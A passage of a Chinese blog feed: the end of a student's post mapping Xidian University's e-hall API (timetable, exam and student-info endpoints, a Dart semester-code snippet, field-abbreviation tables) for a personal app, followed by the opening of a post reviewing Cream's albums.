中。\u003c/p\u003e\n\u003cp\u003e这个东西感觉是为了在显示课表对应日期的时候,找个基准。\u003c/p\u003e\n\u003ch4 id=\"获取课表初步数据\"\u003e获取课表初步数据\u003c/h4\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/xskcb.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/xskcb.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e当前学期信息字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后从 \u003ccode\u003e['datas']['xskcb']\u003c/code\u003e 提取信息。\u003c/p\u003e\n\u003cp\u003e查看 \u003ccode\u003e['extParams']['code']\u003c/code\u003e 是否为 1。如果是的话,从 \u003ccode\u003e['rows']\u003c/code\u003e 提取数据,否则,从 \u003ccode\u003e['extParams']['msg']\u003c/code\u003e 查看错误信息。\u003c/p\u003e\n\u003ch4 id=\"没在课表上的课\"\u003e没在课表上的课\u003c/h4\u003e\n\u003cp\u003e要是有门课没有在课表上,我们咋办?\u003c/p\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/cxxsllsywpk.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttps://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/cxxsllsywpk.do\u003c/a\u003e 发送 POST 请求,发送数据为:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e当前学期信息字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后从 \u003ccode\u003e['datas']['cxxsllsywpk']\u003c/code\u003e 提取信息,剩下步骤与上面一致。\u003c/p\u003e\n\u003ch4 id=\"金智黑话翻译表\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003cp\u003e以下多数自己破译,有误请指正。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCH\u003c/td\u003e\n\u003ctd\u003e课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKXH\u003c/td\u003e\n\u003ctd\u003e教学班序号(课序号)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCLBDM\u003c/td\u003e\n\u003ctd\u003e课程类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCXZDM\u003c/td\u003e\n\u003ctd\u003e课程性质\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXGXKLBDM\u003c/td\u003e\n\u003ctd\u003e校公选课类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBJDM\u003c/td\u003e\n\u003ctd\u003e班级\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJASDM\u003c/td\u003e\n\u003ctd\u003e上课教室\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXLDM\u003c/td\u003e\n\u003ctd\u003e教学楼\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXBDM\u003c/td\u003e\n\u003ctd\u003e教学班序号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKKDWDM\u003c/td\u003e\n\u003ctd\u003e开课单位\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKJS\u003c/td\u003e\n\u003ctd\u003e授课教师\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKXQ\u003c/td\u003e\n\u003ctd\u003e上课星期\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXXXQDM\u003c/td\u003e\n\u003ctd\u003e校区\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKZC\u003c/td\u003e\n\u003ctd\u003e上课周次(是数字数组,对应周的元素代表是否有课)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZCMC\u003c/td\u003e\n\u003ctd\u003e上课周次(字符串)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKSJC\u003c/td\u003e\n\u003ctd\u003e开始教程\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJSJC\u003c/td\u003e\n\u003ctd\u003e结束教程\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"获取考试安排\"\u003e获取考试安排\u003c/h3\u003e\n\u003cp\u003e先说明一下,这块由于没有基本材料,我目前也没有考试,所以以下逻辑仅供参考。\u003c/p\u003e\n\u003ch4 id=\"关于获取学期数据\"\u003e关于获取学期数据\u003c/h4\u003e\n\u003cp\u003e我经历了那次坑爹的年初疫情,后面我们考试的时候,我们需要自己去一站式更改学期,才能看到我们拖延考试的信息。所以,这里我想做一个查看往学期考试信息的功能。\u003c/p\u003e\n\u003cp\u003e然后,当我获取所有学期代码的时候,我发现好家伙,数据居然是从 2012 年开始算的。兄弟,我 2020 年入学的好吗?\u003c/p\u003e\n\u003cp\u003e所以,我感觉每年的二月到七月算春季学期,剩下的是秋季学期,我决定自己获取学期代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003emonth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-2\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"查询考试安排信息\"\u003e查询考试安排信息\u003c/h4\u003e\n\u003cp\u003e实际上我找到了三个相关请求,分别是:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003ewdksap\u003c/td\u003e\n\u003ctd\u003e我的考试安排\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecxyxkwapkwdkc\u003c/td\u003e\n\u003ctd\u003e查询已选课未安排考务的课程\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecxwapdksrw\u003c/td\u003e\n\u003ctd\u003e查询未安排的考试任务\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch5 id=\"我的考试安排\"\u003e我的考试安排\u003c/h5\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/wdksap.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttps://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/wdksap.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003esemester\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;*order\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;-KSRQ,-KSSJMS\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e返回的数据在 \u003ccode\u003e[datas][wdksap]\u003c/code\u003e 里面,提取之。\u003c/p\u003e\n\u003cp\u003e如果有考试的话,\u003ccode\u003e[extParams][code]\u003c/code\u003e 为 1,数据在 \u003ccode\u003e[row]\u003c/code\u003e 里面。\u003c/p\u003e\n\u003ch5 id=\"查询已选课未安排考务的课程\"\u003e查询已选课未安排考务的课程\u003c/h5\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/cxyxkwapkwdkc.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttps://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/cxyxkwapkwdkc.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003esemester\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e返回的数据在 \u003ccode\u003e[datas][cxyxkwapkwdkc]\u003c/code\u003e 里面,提取之,接下来咋处理我不想说了。\u003c/p\u003e\n\u003ch5 id=\"查询未安排的考试任务\"\u003e查询未安排的考试任务\u003c/h5\u003e\n\u003cp\u003e这个我每次请求,返回的数据都是\u0026quot;学生查询在考试任务中且没有安排的课程\u0026quot;。所以我也不知道该咋办了,兴许这又是教务处啥不可说的禁区?\u003c/p\u003e\n\u003ch4 id=\"金智黑话翻译表-1\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003cp\u003e打开网页调试器的网络分项,我看到了请求几个 html 的东西,里面就有缩写和对应中文,这里我摘抄几个。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eKSSJMS\u003c/td\u003e\n\u003ctd\u003e考试时间\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJASMC\u003c/td\u003e\n\u003ctd\u003e考试地点(具体是啥我也不知道)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZJJSXM\u003c/td\u003e\n\u003ctd\u003e主讲教师\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZWH\u003c/td\u003e\n\u003ctd\u003e座位号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYKKS\u003c/td\u003e\n\u003ctd\u003e已完成考试\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eWKKS\u003c/td\u003e\n\u003ctd\u003e未完成考试\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBZ\u003c/td\u003e\n\u003ctd\u003e考生须知\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYXZXAPKS\u003c/td\u003e\n\u003ctd\u003e院系自行安排\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"个人信息\"\u003e个人信息\u003c/h3\u003e\n\u003cp\u003e感觉这是最没用的功能了,除了打开应用告诉你是谁之外(溜了)\u003c/p\u003e\n\u003ch4 id=\"获取方法\"\u003e获取方法\u003c/h4\u003e\n\u003cp\u003e还记得获取成绩前,我们需要把跳转网址自行发送 GET 请求吗?获取个人信息时候也需要这么做:-P\u003c/p\u003e\n\u003cp\u003e如果你需要获取很基本的信息,我们往 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/xsfw/sys/swpubapp/userinfo/getConfigUserInfo.do?USERID=\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/xsfw/sys/swpubapp/userinfo/getConfigUserInfo.do?USERID=\u003c/a\u003e学号 发送 POST 请求。数据的 returnCode 里面,有 #E000000000000 就是成功。获取的信息在 \u003ccode\u003e[data]\u003c/code\u003e 里面,是一个数组。数组元素依次是学号,姓名,学院。\u003c/p\u003e\n\u003cp\u003e要想获取更加具体的信息,请往 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/xsfw/sys/jbxxapp/modules/infoStudent/getStuBatchInfo.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/xsfw/sys/jbxxapp/modules/infoStudent/getStuBatchInfo.do\u003c/a\u003e 发送信息,附带数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;requestParamStr\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e你的学号\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"金智黑话翻译表-2\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eXM\u003c/td\u003e\n\u003ctd\u003e姓名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXBDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e性别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBZ5_DISPLAY\u003c/td\u003e\n\u003ctd\u003e书院\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDZ_DWDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e学院\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZYDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e专业\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZSDZ\u003c/td\u003e\n\u003ctd\u003e宿舍\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\n\u003cp\u003e感觉看了那么多东西,算是把网页请求和 Cookie 啥的了解了一下,保证将来计网学的时候没有陌生感(虽然据说不咋讲)。\u003c/p\u003e\n\u003cp\u003e希望那玩意能写出来吧,免得将来找工作说没有编程经验,虽然 Dart 和 Flutter 也是很小众就是了。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/the-things-behind-xidian-e-hall.html"},{"title":"奶油乐队个人回顾","time":"2022-06-12T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/GOzRUgIAKfEQdu3.jpg\" alt=\"Featured image of post 奶油乐队个人回顾\" /\u003e\u003cp\u003e我最近在搞 CPP 的一卡通管理系统大作业,那里面有三个测试文件。有个测试文件是 resident.txt,我在里面输了两个人:Clapton 和 Baker,他们俩对应 Eric Clapton(guitar) 和 Ginger Baker(drums),都是奶油乐队的成员。不过我忘输机 Jack Bruce(bass, harmonica, vocal) 了:-P\u003c/p\u003e\n\u003cp\u003e奶油乐队是上世纪六十年代末的摇滚乐队,所以音乐风格有点复杂。\u003c/p\u003e\n\u003ch2 id=\"上来布鲁斯就超标\"\u003e上来布鲁斯就超标\u003c/h2\u003e\n\u003cp\u003e他们的第一张专辑 \u003cem\u003eFresh Cream\u003c/em\u003e 布鲁斯的味道简直是超标,毕竟有一半的歌曲是翻唱的布鲁斯歌曲。在原创的歌曲中,\u003cem\u003eSleepy Time Time\u003c/em\u003e 体现得很明显。上来的四个音,标准的布鲁斯。后面的三个连音,也是布鲁斯。就连吉他独奏,还是布鲁斯。加上迷幻的歌词,感觉有种奇特的感觉。而在翻唱作品中,\u003cem\u003eCat’s Squirrel\u003c/em\u003e 和 \u003cem\u003eRollin‘ and Tumblin\u0026rsquo;\u003c/em\u003e 是最有那种感觉的,也就是高亢的声调来体现悲伤的感情,这都要归功于出色的口琴表演。\u003c/p\u003e\n\u003cp\u003e来说说鼓手的表现。这张专辑有些歌曲的鼓声简直是疯狂至极,尤其在 \u003cem\u003eCat’s Squirrel\u003c/em\u003e 和 \u003cem\u003eRollin‘ and Tumblin\u0026rsquo;\u003c/em\u003e 里面。 \u003cem\u003eSweet Wine\u003c/em\u003e 也是他写的,听起来超级有节奏感,咚咚的感觉。专辑的最后 \u003cem\u003eToad\u003c/em\u003e 就是给他炫技的专门舞台,开创了鼓手独奏在录音室专辑中的先河。(据说他老人家有点小看 Bonzo 233)\u003c/p\u003e\n\u003cp\u003e至于吉他手嘛,他的舞台不在录音室,而在现场。这张专辑除了上面说的,再加上 \u003cem\u003eI Feel Free\u003c/em\u003e ,就没啥了。\u003c/p\u003e\n\u003cp\u003e关于第一张专辑,我还想说一点。这张专辑的双声道版本在我看来,十分地糟糕。鼓声贝斯完全在左声道,吉他声完全在左声道,听上去太割裂啦。要想完整欣赏的话,要不找个有单声道混音的纪念版,要不找个好点的单声道混音器:-P\u003c/p\u003e\n\u003ch2 id=\"然后酒喝多了脑袋沉沉的\"\u003e然后酒喝多了,脑袋沉沉的\u003c/h2\u003e\n\u003cp\u003e他们的第二张专辑 \u003cem\u003eDisraeli Gears\u003c/em\u003e 开始迷幻了起来,虽然布鲁斯的感觉还在,但是已然不是主导的力量了。他们的声音逐渐加重了起来,也迷幻了起来。甚至名字都是迷幻的。比如说上来一首 \u003cem\u003eStrange Brew\u003c/em\u003e ,虽然起调的六个音十分的布鲁斯,但只要稍微延长一下,就迷幻了起来。中间的独奏也是由连音造就的玄幻感觉。这杯啤酒就很怪。\u003c/p\u003e\n\u003cp\u003e当然,也有融合得不是很好的。比如 \u003cem\u003eTales of Brave Ulysses\u003c/em\u003e ,就是纯靠有一点布鲁斯哇音搞点那种感觉,一开始听我没觉得很独特。这之后的 \u003cem\u003eSWLABW\u003c/em\u003e 名字很奇怪 ( She Walked Like A Beard Rainbow ),但是节奏却很快,不迷幻,很清醒,我听完很爽的,是不是人真要迷幻起来也就这样激情吧。\u003c/p\u003e\n\u003cp\u003e这些特点都要归功于新的制作人。第一张专辑的制作人,就是他们的经纪人 Robert Stigwood,经纪人没有抓住他们乐曲的主要特点,搞得听起来有点平平。回来有个贝斯手 Felix Pappalardi 听完了,找到了他们,稍微改了几下,添加了很多新要素。\u003c/p\u003e\n\u003cp\u003e这张专辑的元素,实际上十分多样化,出现了全新风格的歌曲。比如 \u003cem\u003eSunshine of Your Love\u003c/em\u003e 就十分的重摇滚,没啥布鲁斯,也不迷幻。\u003cem\u003eDance the Night Away\u003c/em\u003e 和 \u003cem\u003eWe‘re Going Wrong\u003c/em\u003e 十分纯粹地抒情。前者独奏中的吉他涟漪荡漾,十分地有感觉。\u003c/p\u003e\n\u003ch2 id=\"彻底没有融合分化的很明显\"\u003e彻底没有融合,分化的很明显\u003c/h2\u003e\n\u003cp\u003e第三张专辑 \u003cem\u003eWheels of Fire\u003c/em\u003e 